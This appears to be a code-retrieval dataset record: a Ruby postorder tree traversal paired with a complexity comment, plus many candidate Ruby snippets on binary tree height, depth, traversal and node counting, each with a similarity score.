"def test_node_height\n assert_equal(0, @root.node_height, \"A single node's height is 0\")\n\n @root << @child1\n assert_equal(1, @root.node_height, \"This should be of height 1\")\n assert_equal(0, @child1.node_height, \"This should be of height 0\")\n\n @root << @child2\n assert_equal(1, @root.node_height, \"This should be of height 1\")\n assert_equal(0, @child2.node_height, \"This should be of height 0\")\n\n @child2 << @child3\n assert_equal(2, @root.node_height, \"This should be of height 2\")\n assert_equal(1, @child2.node_height, \"This should be of height 1\")\n assert_equal(0, @child3.node_height, \"This should be of height 0\")\n\n @child3 << @child4\n assert_equal(3, @root.node_height, \"This should be of height 3\")\n assert_equal(2, @child2.node_height, \"This should be of height 2\")\n assert_equal(1, @child3.node_height, \"This should be of height 1\")\n assert_equal(0, @child4.node_height, \"This should be of height 0\")\n end",
"def subtree_size(node)\n return 0 if node.nil?\n\n 1 + subtree_size(node.left) + subtree_size(node.right)\n end",
"def bfs(tree)\n Enumerator.new do |yielder|\n queue = [tree]\n while !queue.empty?\n node = queue.shift\n children = node[1..-1]\n yielder << node.first\n children.each do |child|\n queue << child\n end\n end\n end\nend",
"def leaf_count\n @leaf_count\n end",
"def height\n height_helper(@root, 0)\n end",
"def leaves_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n return 1 if (!root.left && !root.right)\n leaves_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n leaves_count += 1 if !node.left && !node.right\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n leaves_count\n end",
"def height_helper(current_node)\n if current_node.nil?\n return 0\n else\n left = height_helper(current_node.left)\n right = height_helper(current_node.right)\n \n if (left > right)\n return left + 1\n else\n return right + 1\n end\n end\n end",
"def tree\n @tree ||= build_tree\n end",
"def solution(h)\n n = h.size\n return 0 if n == 0\n stack = [h.first]\n blocks = 0\n (1...n).each { |y|\n if h[y] != stack.last\n while !stack.empty? && h[y] < stack.last\n stack.pop\n blocks += 1\n end\n stack << h[y] unless stack.last == h[y]\n end # != last\n }\n blocks += stack.count\nend",
"def solution(x, a)\n leaves = {}\n path = 0\n for i in (0..a.count - 1)\n leaf = a[i]\n if leaf <= x\n unless leaves[leaf]\n path += 1 \n return i if path == x\n end\n leaves[leaf] = true\n end\n end\n return -1\nend"
] | [
"0.72432035",
"0.7150872",
"0.68871224",
"0.6873526",
"0.6807246",
"0.6799693",
"0.677916",
"0.6711782",
"0.66456604",
"0.6631044",
"0.6561555",
"0.6549498",
"0.6546758",
"0.64895624",
"0.6475534",
"0.6451536",
"0.6436645",
"0.64348894",
"0.64317304",
"0.643123",
"0.6425746",
"0.6407002",
"0.6398795",
"0.6385346",
"0.6364918",
"0.6338505",
"0.63355243",
"0.63257635",
"0.6317986",
"0.63167363",
"0.6305805",
"0.62986535",
"0.6286297",
"0.62714076",
"0.6265428",
"0.623933",
"0.6237594",
"0.6227962",
"0.62160563",
"0.62138563",
"0.62024283",
"0.61807114",
"0.6171441",
"0.6167293",
"0.616179",
"0.61467373",
"0.61438864",
"0.61184305",
"0.61110604",
"0.6104063",
"0.6080159",
"0.6065462",
"0.60540116",
"0.60505533",
"0.6042231",
"0.6036056",
"0.6025785",
"0.601715",
"0.60074675",
"0.6006905",
"0.5991112",
"0.5990084",
"0.59849614",
"0.5978158",
"0.5968915",
"0.59592",
"0.59271437",
"0.5912888",
"0.5912888",
"0.5904508",
"0.5890927",
"0.5889207",
"0.58808976",
"0.5876995",
"0.5871284",
"0.586921",
"0.58631426",
"0.5862811",
"0.5848035",
"0.5840184",
"0.58306146",
"0.5819508",
"0.5815808",
"0.5810314",
"0.5808413",
"0.5808413",
"0.5806206",
"0.57930994",
"0.57742673",
"0.57728976",
"0.57547814",
"0.57486874",
"0.57425195",
"0.5741239",
"0.5734179",
"0.5727712",
"0.57236254",
"0.5717727",
"0.5716557",
"0.5712153",
"0.5710502"
] | 0.0 | -1 |
Time Complexity: O(n) where n is the height of the tree Space Complexity: O(n) where n is the height of the tree | def postorder
array = []
return [] if @root.nil?
current = @root
return postorder_recursive(current, array)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find_height_nodes(root) # O(n)\n return 0 if root == nil\n left_height = 1 + find_height_nodes(root.left)\n right_height = 1 + find_height_nodes(root.right)\n\n return (left_height > right_height)? left_height : right_height\nend",
"def height\n return 0 if is_empty\n\n queue = [@root]\n height = 0\n\n while true\n node_count = queue.length\n\n return height if node_count == 0\n\n height += 1\n\n while node_count > 0\n node = queue.shift()\n\n queue << node.left unless node.left.nil?\n queue << node.right unless node.right.nil?\n\n node_count -= 1\n end\n end\n end",
"def height\n height_recursive(@root)\n end",
"def height_nodes(root)\n return 0 if root == nil\n\n left = height_nodes(root.left)\n right = height_nodes(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend",
"def height_edges(root)\n return -1 if root == nil\n\n left = height_edges(root.left)\n right = height_edges(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend",
"def height\n return 0 if @root == nil\n t, result = @root, -1\n while t\n t = t.left\n result += 1\n end\n result\n end",
"def height(node, height_num = 0)\n #1. get the node from the tree that we are starting from if it's not the correct class\n if (node != nil && node.class != Node)\n node = find_node(node)\n #1.5 recurisvely return height_num if node has no children\n end\n if(node.nil? || node.left.nil? && node.right.nil?)\n return height_num \n end\n height_num += 1 \n #4. start a recursive call on the left node to travel down all of it's node\n right_height_value = height(node.right,height_num)\n #5. compare values of left and right recursive values\n left_height_value = left_height(node.left) \n result = left_height_value > right_height_value ? left_height_value : right_height_value\n #6. return the value of the height of the node\n return result\n end",
"def size(tree)\n if isEmpty?(tree)\n 0\n else\n 1 + size(tree.left) + size(tree.right)\n end\nend",
"def get_height(node)\n return 0 if node.nil?\n return 1 + [get_height(node.left), get_height(node.right)].max\nend",
"def height(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_height = height(node.left_child)\n right_height = height(node.right_child)\n if left_height >= right_height\n return left_height + 1\n else\n return right_height + 1\n end\n end\nend",
"def height\n return 0 if @root == nil\n return 1 if @root && (@root.left == nil && @root.right == nil)\n height_helper(@root, 0)\n end",
"def height\n return 0 if @root.nil?\n current = @root\n height_recursive(current)\n end",
"def height\n return @tree_height\n end",
"def get_tree_height(d,cnt = 0 )\n \n if ( d['l'] == {} && d['r'] == {} )\n @depth = cnt if @depth < cnt\n else\n cnt = cnt + 1\n get_tree_height(d['l'],cnt) if d.key?('l')\n get_tree_height(d['r'],cnt) if d.key?('r')\n end\n \n return @depth\n \nend",
"def height_with_recursion(root)\n return 0 unless root\n leftDepth = height_with_recursion(root.left)\n rightDepth = height_with_recursion(root.right)\n (leftDepth > rightDepth) ? leftDepth + 1 : rightDepth + 1\n end",
"def height\n max_height = 0\n each do |child|\n if child.kind_of? Tree\n max_height = [max_height, 1].max\n else\n max_height = [max_height, child.height].max\n end\n end\n max_height.succ\n end",
"def recursive_binary_tree_height(node)\n return 0 if node.nil?\n left = recursive_binary_tree_height(node.left)\n right = recursive_binary_tree_height(node.right)\n [left, right].max + 1\nend",
"def number_of_half_nodes_in_binary_tree(root)\n return 0 if !root\n count = 0\n queue = Queue.new()\n queue.enqueue(root)\n while(!queue.is_empty?)\n node = queue.dequeue\n\n count += 1 if (node.left_child && !node.right_child) || (!node.left_child && node.right_child)\n\n queue.enqueue(node.left_child) if node.left_child\n queue.enqueue(node.right_child) if node.right_child\n end\n count\nend",
"def height(node)\n # Base case: We've reached past a leaf node (stop incrementing)\n return -1 if node.nil?\n\n # Otherwise, return the max of the left and right subtree heights.\n 1 + [height(node.left), height(node.right)].max\n end",
"def with_rows_and_height\n root = self\n queue = [root]\n visited = []\n\n until queue.empty?\n current = queue.shift\n adjacency_list = current.children\n\n self.height += 1\n adjacency_list.each do |node|\n root.rows << (node.nil? ? \"x\" : node.value)\n next if node.nil?\n visited << node.value\n\n if node.distance == Float::INFINITY\n node.distance = current.distance + 1\n node.parent = current\n queue.push(node)\n end\n end\n end\n\n self\n end",
"def height(current = @root)\n # If the current node is nil return 0\n # Otherwise return 1 plus the maximum of the heights of the right and left subtrees\n return 0 if current.nil?\n left = height(current.left)\n right = height(current.right)\n left >= right ? 1 + left : 1 + right \n end",
"def height(root)\n return 0 if root.nil?\n [height(root.left), height(root.right)].max + 1\nend",
"def calc_tree_height(\n cycle:\n)\n height = 1\n return height if cycle.zero?\n (1..cycle).each do |num|\n height = num.odd? ? height * 2 : height + 1\n end\n height\nend",
"def height\n if @root.nil?\n return 0\n elsif @root.left.nil? && @root.right.nil?\n return 1\n end\n return height_helper(@root)\n end",
"def find_height_edges(root)\n return -1 if root == nil\n left_height = 1 + find_height_edges(root.left)\n right_height = 1 + find_height_edges(root.right)\n\n return (left_height > right_height)? left_height : right_height\nend",
"def height(current_node)\n #node doesn't exist\n return -1 if current_node.nil?\n\n if current_node.left.nil? and current_node.right.nil?\n 0\n else\n if current_node.left.nil?\n return 1+height(current_node.right);\n else\n if current_node.right.nil?\n return 1+height(current_node.left);\n else\n return 1+maximum(height(current_node.left), height(current_node.right));\n end\n end\n end\n end",
"def height\n count_right = 0\n count_left = 0\n node = @root\n return count_left if node.nil?\n\n count_left = height_helper(node, 'left', count_left)\n count_right = height_helper(node, 'right', count_right)\n if count_right > count_left\n count_right\n else\n count_left\n end\n end",
"def build_tree( n , d )\n \n if d.key?('v')\n n < d['v'] ? build_tree(n , d['l']) : build_tree(n, d['r'])\n else\n d['l'] = {}\n d['v'] = n\n d['r'] = {}\n end\n \nend",
"def height(node)\n return 0 if node.nil?\n\n lh = height(node.left)\n rh = height(node.right)\n @ans = [@ans, lh + rh].max\n 1 + [lh, rh].max\nend",
"def max_depth(root)\n node_queue = [root]\n depth = 0\n\n while node_queue.any?\n depth += 1\n breadth = node_queue.size\n breadth.times do\n node = node_queue.shift\n node_queue.push(node.left) unless node.left.nil?\n node_queue.push(node.right) unless node.right.nil?\n end\n end\n\n depth\nend",
"def utopian_tree_size(n)\n\n\t# Using the formula above, the solution is quite simple\n\t# (n) = (2^(m+1) - 2) + 1(1 - n mod 2), where m = ( n + n mod 2) / 2\n\n\t# Find the max M \n\tm = ( n + n % 2) / 2\n\n\t# Get the result \n\t(2**(m+1) - 2 + 1*(1 - n % 2))\nend",
"def height(node = root)\n unless node.nil? || node == root\n node = (node.instance_of?(Node) ? find(node.data) : find(node))\n end\n return -1 if node.nil?\n\n [height(node.left), height(node.right)].max + 1\n end",
"def height(root = self)\n return 0 if root.nil? || root.leaf?\n 1 + [height(root.left), height(root.right)].max\n end",
"def depth_iter(root=@root)\n return 0 if root.nil? # height of an empty tree is 0\n \n s = []\n h = 1\n s.push [root, h]\n loop do\n break if s.empty?\n node, _h = s.pop\n # nothing to do with node.val\n h = _h if h < _h # interested by the max\n s.push [node.rnode, _h+1] if node.rnode\n s.push [node.lnode, _h+1] if node.lnode\n end\n h\n end",
"def find_height(root)\n return 0 if root.nil?\n left = find_height(root.left)\n right = find_height(root.right)\n left > right ? left + 1 : right + 1\nend",
"def height(node)\n if node == nil\n return 0\n else \n #calcula el alto del arbol en cada nodo \n lheight = height(node.getLeft())\n rheight = height(node.getRight())\n \n #devuelve el largo\n if lheight > rheight\n return lheight+1\n else\n return rheight+1\n end\n end\n end",
"def size_without_recursion\n count = 0\n return 0 unless @root\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n while !q.isEmpty?\n node = q.dequeue\n count += 1\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n count\n end",
"def tree_height(pos)\n r = 0..0\n tree_heights = acc.map.with_index{|a, i| a ? i : nil}.reverse\n tree_heights[tree_heights.index(highest_height - 1)..-1].each do |h|\n next unless h\n r = (r.last...(r.last + 2**h))\n return h if r.include?(pos)\n end\n end",
"def solution(t)\n # write your code in Ruby 2.2\n depth = 0\n childs = []\n\n childs << t.l if t.l\n childs << t.r if t.r\n\n while not childs.empty? do\n depth += 1\n\n cc = []\n childs.each do |t|\n cc << t.l if t.l\n cc << t.r if t.r\n end\n\n childs = cc\n end\n\n depth\nend",
"def height(node=@root)\n node.nil? ? 0 : (1 + [height(node.right), height(node.left)].max)\n end",
"def test_depth_of_method\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n tree.insert(40, \"movie c\")\n tree.insert(35, \"movie d\")\n assert_equal 3, tree.depth_of(35)\n end",
"def height(node = @root)\n return 0 unless node\n\n [height(node.left), height(node.right)].max + 1\n end",
"def height_of_heap(start_node_index, end_node_index)\n height = 0\n while end_node_index >= start_node_index \n height++\n end_node_index = parent_index(end_node_index)\n end\n height\n end",
"def height\n return 0 if @root.nil?\n return [height_helper(@root.left), height_helper(@root.right)].max + 1\n end",
"def node_depths(root)\n sum_of_depths = 0\n stack = [{\"node\"=> root, \"depth\"=> 0}]\n\n while stack.length > 0\n node_info = stack.pop()\n node, depth = node_info[\"node\"], node_info[\"depth\"]\n if node.nil?\n next\n end\n sum_of_depths += depth\n stack.append({\"node\"=> node.left, \"depth\"=> depth + 1})\n stack.append({\"node\"=> node.right, \"depth\"=> depth + 1})\n end\n return sum_of_depths\n\nend",
"def height(root)\n return 0 if root.nil?\n left_height = height(root.left)\n right_height = height(root.right)\n [left_height, right_height].max + 1\nend",
"def height(node = @root)\n return 0 if node.nil?\n\n 1 + [height(node.left), height(node.right)].max\n end",
"def height(key, count = 0, child = level_order(key).pop)\n count += 1\n if child == key\n return count - 1\n else\n parent = find_parent(child).data\n height(key, count, parent)\n end\n end",
"def half_nodes_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n half_nodes_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n half_nodes_count += 1 if ((node.left && !node.right) || (!node.left && node.right))\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n half_nodes_count\n end",
"def size\n return @tree.size\n end",
"def dfs(root)\n return if root.nil?\n @stack << root\n @hash[root] = [root.val]\n @stack.each do |node|\n @hash[node] << root.left&.val\n @hash[node] << root.right&.val\n end\n dfs(root.left)\n dfs(root.right)\n @stack.pop\nend",
"def traverse_with_h(tree,height=nil,&block)\n\n tree.children.each do |t|\n traverse_with_h(t,height+1,&block)\n end\n\n if block_given?\n yield tree, height\n end\n\n end",
"def height_balanced(root)\n return true if root.nil?\n\n left, right = root.left, root.right\n left_depth, right_depth = max_depth(left), max_depth(right)\n\n (left_depth - right_depth) <= 1 &&\n height_balanced(left) &&\n height_balanced(right)\nend",
"def size(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_size = size(node.left_child)\n right_size = size(node.right_child)\n return left_size + 1 + right_size\n end\nend",
"def sum_of_left_leaves(root)\nend",
"def test_depth_of_method_returns_nil\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n assert_nil tree.depth_of(35)\n end",
"def dp_possible_trees(n)\n array = Array.new(n+2) { Array.new(n+1) { 0 } }\n (0...n+2).to_a.each do |i|\n array[i][0] = 1\n end\n\n sum = 0\n (1...n+1).to_a.each do |i|\n sum = 0\n (1..i).to_a.each do |j|\n array[j][i] = array[n+1][i-j] * array[n+1][j-1]\n sum += array[j][i]\n end\n array[n+1][i] = sum\n end\n array[n+1].last\nend",
"def height(current = @root, h = 0)\n return h unless current\n\n height_left = height(current.left, h + 1)\n height_right = height(current.right, h + 1)\n\n height_left > height_right ? height_left : height_right\n end",
"def height\n # raise NotImplementedError\n # return 0 if @root.nil?\n return height_helper(@root, 0, 1)\n end",
"def total_node_number(tree)\n if tree.root == nil\n 0\n else\n left_tree = MyBinaryTree.new\n left_tree.root = tree.root.left_child\n right_tree = MyBinaryTree.new\n right_tree.root = tree.root.right_child\n 1+total_node_number(left_tree)+total_node_number(right_tree)\n end\nend",
"def height\n longest_tree_path(@root)\n end",
"def get_diameter(node)\n return 0 if node.nil? || (node.left.nil? && node.right.nil?)\n left_height = get_height(node.left)\n right_height = get_height(node.right)\n left_diameter = get_diameter(node.left)\n right_diameter = get_diameter(node.right)\n return [left_diameter, right_diameter, left_height + right_height + 1].max\nend",
"def height\n depths = []\n recursive_yield_leaf_heights(current_node: @root, depth: 0) { |depth| depths << depth }\n return depths.max || 0 # The depth of an empty tree is zero.\n end",
"def height(node)\n\tif node == nil\n\t\treturn 0\n\tend\n\tlheight = height(node.left)\n\trheight = height(node.right)\n\t@ans = [@ans,(lheight+rheight+1)].max\n\tif lheight > rheight\n\t\treturn lheight+1\n\telse\n\t\treturn rheight+1\n\tend\nend",
"def height\n count = 0\n if @root != nil\n count = height_helper(@root)\n end\n return count\n end",
"def max_depth(root)\n return 0 if root.nil?\n left_height = max_depth(root.left)\n right_height = max_depth(root.right)\n return left_height > right_height ? left_height + 1 : right_height + 1;\nend",
"def height\n current_node = @root\n\n return height_helper(current_node)\n end",
"def height\n return height_helper(@root, 0, 1)\n end",
"def height\n return height_helper(@root, 0, 1)\n end",
"def challenge4\n\t@size = length(@rootNode)\n\tputs \"Challenge #4 solution: \"\n\tputs \"Number of nodes in tree: \" + @size.to_s\n\tputs \"-----------------------------------\"\nend",
"def depth\n if empty?\n 0\n else\n if @left==nil || @right==nil\n if (@left==nil&&@right==nil) then 1\n else -1\n end\n else\n left, right = @left.depth, @right.depth\n if left==-1||right==-1||left!=right then -1\n else 1+left\n end\n end\n end\n end",
"def height\n return 0 if @root.nil?\n return height_helper(@root, 0, 1)\n end",
"def height\n return 0 if @root == nil\n\n current = @root\n\n return height_helper(current, 1, 1)\n end",
"def height(level = 1)\n if @children[LEFT] != nil\n return @children[LEFT].height(level + 1)\n elsif @children[RIGHT] != nil\n return @children[RIGHT].height(level + 1)\n end\n end",
"def heapify(index)\n left = @tree[left(index)]\n right = @tree[right(index)]\n current = @tree[index]\n if !left && !right # if no children exist nothing to compare with\n nil\n elsif left && !right\n if left.rating < current.rating\n temp = @tree[index]\n @tree[index] = @tree[left]\n @tree[left] = temp\n #no need to heapify at a leaf\n end\n elsif left.rating < current.rating || right.rating < current.rating\n if @tree[left].rating <= @tree[right].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[left]\n @tree[left] = temp\n heapify(left(index))\n elsif @tree[right].rating < @tree[left].rating\n temp = @tree[index] #current index and left swap if it's the smaller of two children\n @tree[index] = @tree[right]\n @tree[right] = temp\n heapify(right(index))\n end\n end\n end",
"def total_depth(node, depth = 0)\n @d = depth\n @d = @d + 1 if node.children.size > 0\n node.children.map{|c| x = total_depth(c,@d) - 1; @d = x if x > @d }\n return @d\nend",
"def find_target(root, k)\n return nil if root == nil\n hash = Set.new([])\n queue = [root]\n \n while !queue.empty?\n node = queue.shift\n \n return true if hash.include?(node.val)\n \n hash.add(k-node.val)\n \n if node.left; queue.push(node.left) end\n if node.right; queue.push(node.right) end\n end\n \n return false\nend",
"def tree\n root = Node.new(1)\n root.left = Node.new(2)\n root.right = Node.new(3)\n root.left.left = Node.new(4)\n root.left.right = Node.new(5)\n root.right.left = Node.new(6)\n root.right.right = Node.new(7)\n root.right.right.right = Node.new(8)\n root\nend",
"def height(current_node = @root)\n if current_node.nil?\n return 0\n end\n \n r = height(current_node.right)\n l = height(current_node.left)\n \n return [r, l].max + 1\n end",
"def height(current = @root, array)\n\n end",
"def height_helper(current_node, level = 0)\n return level if !current_node\n level = [height_helper(current_node.left, level + 1), height_helper(current_node.right, level + 1)].max\n return level\n end",
"def find_end_of_node_path(i)\n left_index = left_child_index(i)\n right_index = right_child_index(i)\n \n if left_index > @heap_size && right_index > @heap_size\n i\n elsif right_index > @heap_size\n left_index\n else\n max_child_index = -1\n left_child_value = self[left_index - 1]\n right_child_value = self[right_index - 1]\n if right_child_value && left_child_value > right_child_value\n max_child_index = left_index\n else\n max_child_index = right_index\n end\n find_end_of_node_path max_child_index\n end\n end",
"def height_helper(current_node)\n if current_node.nil?\n return 0 \n end\n\n left = height_helper(current_node.left)\n right = height_helper(current_node.right)\n \n if left > right\n return left += 1\n else\n return right += 1\n end\n end",
"def length\n @tree.length\n end",
"def height\n return height_helper(@root, 0)\n end",
"def height\n return height_helper(@root, 0)\n end",
"def dfs(root, depth)\n return if root.nil?\n @f[depth] = @f[depth].to_i + root.val\n dfs(root.left, depth + 1) if root.left\n dfs(root.right, depth + 1) if root.right\nend",
"def recalculate(inode)\n full_count = 0\n inode.list_of_children.each do |node|\n#p node\n komvos = self.get(node)\n#p komvos\n if komvos.normalize==0\n puts \"node #{node} is not leaf\"\n # if not leaf\n #recalc(holon.searchFor(node).listOfChildren)\n self.recalculate(komvos)\n else \n # exw kanei: node.normalize kai einai leaf\n puts \"node #{node} is leaf\"\n \n end\n # uplogizw to sum of coun and re-normalize\n full_count = full_count + komvos.weight\n end\n inode.weight = full_count\n end",
"def elegant_tree_by_levels(node)\n stack=[]\n stack.push node if node\n stack.each do |n|\n stack.push n.left if n.left\n stack.push n.right if n.right\n end\n stack.map! &:value\nend",
"def tree_by_levels(node)\n return [] if node.nil?\n queue = [node]\n visited = []\n while !queue.empty?\n node = queue.shift\n visited << node.value\n [node.left, node.right].each do |child|\n queue << child if child\n end\n end\n visited\nend",
"def count_leaf_nodes(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_leaves = count_leaf_nodes(node.left_child)\n right_leaves = count_leaf_nodes(node.right_child)\n return left_leaves + right_leaves\n end\nend",
"def test_node_height\n assert_equal(0, @root.node_height, \"A single node's height is 0\")\n\n @root << @child1\n assert_equal(1, @root.node_height, \"This should be of height 1\")\n assert_equal(0, @child1.node_height, \"This should be of height 0\")\n\n @root << @child2\n assert_equal(1, @root.node_height, \"This should be of height 1\")\n assert_equal(0, @child2.node_height, \"This should be of height 0\")\n\n @child2 << @child3\n assert_equal(2, @root.node_height, \"This should be of height 2\")\n assert_equal(1, @child2.node_height, \"This should be of height 1\")\n assert_equal(0, @child3.node_height, \"This should be of height 0\")\n\n @child3 << @child4\n assert_equal(3, @root.node_height, \"This should be of height 3\")\n assert_equal(2, @child2.node_height, \"This should be of height 2\")\n assert_equal(1, @child3.node_height, \"This should be of height 1\")\n assert_equal(0, @child4.node_height, \"This should be of height 0\")\n end",
"def subtree_size(node)\n return 0 if node.nil?\n\n 1 + subtree_size(node.left) + subtree_size(node.right)\n end",
"def bfs(tree)\n Enumerator.new do |yielder|\n queue = [tree]\n while !queue.empty?\n node = queue.shift\n children = node[1..-1]\n yielder << node.first\n children.each do |child|\n queue << child\n end\n end\n end\nend",
"def leaf_count\n @leaf_count\n end",
"def height\n height_helper(@root, 0)\n end",
"def leaves_count(root)\n if root.nil?\n puts 'Empty tree'\n return\n end\n return 1 if (!root.left && !root.right)\n leaves_count = 0\n queue = QueueWithLinkedList.new\n queue.enqueue(root)\n while !queue.isEmpty?\n node = queue.dequeue\n leaves_count += 1 if !node.left && !node.right\n queue.enqueue(node.left) if node.left\n queue.enqueue(node.right) if node.right\n end\n leaves_count\n end",
"def height_helper(current_node)\n if current_node.nil?\n return 0\n else\n left = height_helper(current_node.left)\n right = height_helper(current_node.right)\n \n if (left > right)\n return left + 1\n else\n return right + 1\n end\n end\n end",
"def tree\n @tree ||= build_tree\n end",
"def solution(h)\n n = h.size\n return 0 if n == 0\n stack = [h.first]\n blocks = 0\n (1...n).each { |y|\n if h[y] != stack.last\n while !stack.empty? && h[y] < stack.last\n stack.pop\n blocks += 1\n end\n stack << h[y] unless stack.last == h[y]\n end # != last\n }\n blocks += stack.count\nend",
"def solution(x, a)\n leaves = {}\n path = 0\n for i in (0..a.count - 1)\n leaf = a[i]\n if leaf <= x\n unless leaves[leaf]\n path += 1 \n return i if path == x\n end\n leaves[leaf] = true\n end\n end\n return -1\nend"
] | [
"0.72426903",
"0.7149984",
"0.68867284",
"0.6872105",
"0.6806394",
"0.67989886",
"0.67783237",
"0.6710244",
"0.6645586",
"0.66305655",
"0.65611213",
"0.65494025",
"0.65458304",
"0.6487926",
"0.6475519",
"0.6450518",
"0.64359444",
"0.64323235",
"0.6431476",
"0.6429861",
"0.6425253",
"0.64064425",
"0.6397527",
"0.6384688",
"0.63641423",
"0.63386023",
"0.63345003",
"0.63228613",
"0.6317989",
"0.6314433",
"0.6305308",
"0.6298126",
"0.6285437",
"0.6270225",
"0.6265329",
"0.62386453",
"0.6236374",
"0.6227688",
"0.62136304",
"0.6213062",
"0.6200619",
"0.6179963",
"0.61715066",
"0.6166724",
"0.61599535",
"0.6146166",
"0.6143198",
"0.6118478",
"0.6108571",
"0.61027193",
"0.60780877",
"0.6063128",
"0.60535836",
"0.60493463",
"0.6040666",
"0.60343283",
"0.6025932",
"0.6017315",
"0.6007142",
"0.6004597",
"0.59904635",
"0.5990281",
"0.5984174",
"0.5977919",
"0.5968898",
"0.5958105",
"0.59269595",
"0.5912743",
"0.5912743",
"0.590206",
"0.5889989",
"0.58892447",
"0.5880938",
"0.5876169",
"0.5869307",
"0.5868405",
"0.5861645",
"0.5858541",
"0.5847579",
"0.584025",
"0.5829864",
"0.58189476",
"0.581569",
"0.580865",
"0.5808353",
"0.5808353",
"0.58054334",
"0.57928973",
"0.577112",
"0.57703376",
"0.5752749",
"0.57463974",
"0.5741589",
"0.57387",
"0.57331556",
"0.5727491",
"0.57216537",
"0.57177013",
"0.5713729",
"0.5713005",
"0.5710745"
] | 0.0 | -1 |
Time Complexity: O(n) where n is the size of the tree Space Complexity: O(n) | def height
return 0 if @root.nil?
current = @root
height_recursive(current)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def size(tree)\n if isEmpty?(tree)\n 0\n else\n 1 + size(tree.left) + size(tree.right)\n end\nend",
"def build_tree( n , d )\n \n if d.key?('v')\n n < d['v'] ? build_tree(n , d['l']) : build_tree(n, d['r'])\n else\n d['l'] = {}\n d['v'] = n\n d['r'] = {}\n end\n \nend",
"def solution(t)\n # write your code in Ruby 2.2\n depth = 0\n childs = []\n\n childs << t.l if t.l\n childs << t.r if t.r\n\n while not childs.empty? do\n depth += 1\n\n cc = []\n childs.each do |t|\n cc << t.l if t.l\n cc << t.r if t.r\n end\n\n childs = cc\n end\n\n depth\nend",
"def dp_possible_trees(n)\n array = Array.new(n+2) { Array.new(n+1) { 0 } }\n (0...n+2).to_a.each do |i|\n array[i][0] = 1\n end\n\n sum = 0\n (1...n+1).to_a.each do |i|\n sum = 0\n (1..i).to_a.each do |j|\n array[j][i] = array[n+1][i-j] * array[n+1][j-1]\n sum += array[j][i]\n end\n array[n+1][i] = sum\n end\n array[n+1].last\nend",
"def tree\n root = Node.new(1)\n root.left = Node.new(2)\n root.right = Node.new(3)\n root.left.left = Node.new(4)\n root.left.right = Node.new(5)\n root.right.left = Node.new(6)\n root.right.right = Node.new(7)\n root.right.right.right = Node.new(8)\n root\nend",
"def produce_tree(ary); end",
"def in_order_traverse(tree, array)\n if !tree.nil?\n in_order_traverse(tree.left, array)\n array.append(tree.value)\n in_order_traverse(tree.right, array)\n end\n return array\n\n\nend",
"def buildTree(node,arr)\n node.value = arr.shift\n size = (arr.size/2.0).round\n if size > 0\n left, right = arr.each_slice( size ).to_a\n if left and left.count > 0\n node.left = TreeNode.new\n buildTree(node.left, left)\n end\n if right and right.count > 0\n node.right = TreeNode.new\n buildTree(node.right, right)\n end\n end\nend",
"def preOrder(root) # O(n)\n\n return nil if root == nil\n\n print \" #{root.value}\"\n preOrder(root.left)\n preOrder(root.right)\n\nend",
"def elegant_tree_by_levels(node)\n stack=[]\n stack.push node if node\n stack.each do |n|\n stack.push n.left if n.left\n stack.push n.right if n.right\n end\n stack.map! &:value\nend",
"def size_without_recursion\n count = 0\n return 0 unless @root\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n while !q.isEmpty?\n node = q.dequeue\n count += 1\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n count\n end",
"def build_tree(arr)\n\tend",
"def utopian_tree_size(n)\n\n\t# Using the formula above, the solution is quite simple\n\t# (n) = (2^(m+1) - 2) + 1(1 - n mod 2), where m = ( n + n mod 2) / 2\n\n\t# Find the max M \n\tm = ( n + n % 2) / 2\n\n\t# Get the result \n\t(2**(m+1) - 2 + 1*(1 - n % 2))\nend",
"def max_depth(root)\n node_queue = [root]\n depth = 0\n\n while node_queue.any?\n depth += 1\n breadth = node_queue.size\n breadth.times do\n node = node_queue.shift\n node_queue.push(node.left) unless node.left.nil?\n node_queue.push(node.right) unless node.right.nil?\n end\n end\n\n depth\nend",
"def build_tree_unsorted(arr)\n root = nil\n arr.each do |item|\n root = insert_tree(item, root)\n end\n\n root\nend",
"def tree(n)\n SegmentTree.new list(n)\nend",
"def build_tree(arr)\n\ntree = []\n\ntree.push(Node.new(arr[0]))\n\n arr[1..-1].each do |i|\n new_node = Node.new(i)\n\n condition = false\n current = tree[0]\n until condition == true\n if i > current.value && current.find_right_child.count == 0\n new_node.create_parent(current)\n current.create_right_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i < current.value && current.find_left_child.count == 0\n new_node.create_parent(current)\n current.create_left_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i > current.value && current.find_right_child.count == 1\n current = current.find_right_child[0]\n elsif i < current.value && current.find_left_child.count == 1\n current = current.find_left_child[0]\n end\n end\n end\n tree\nend",
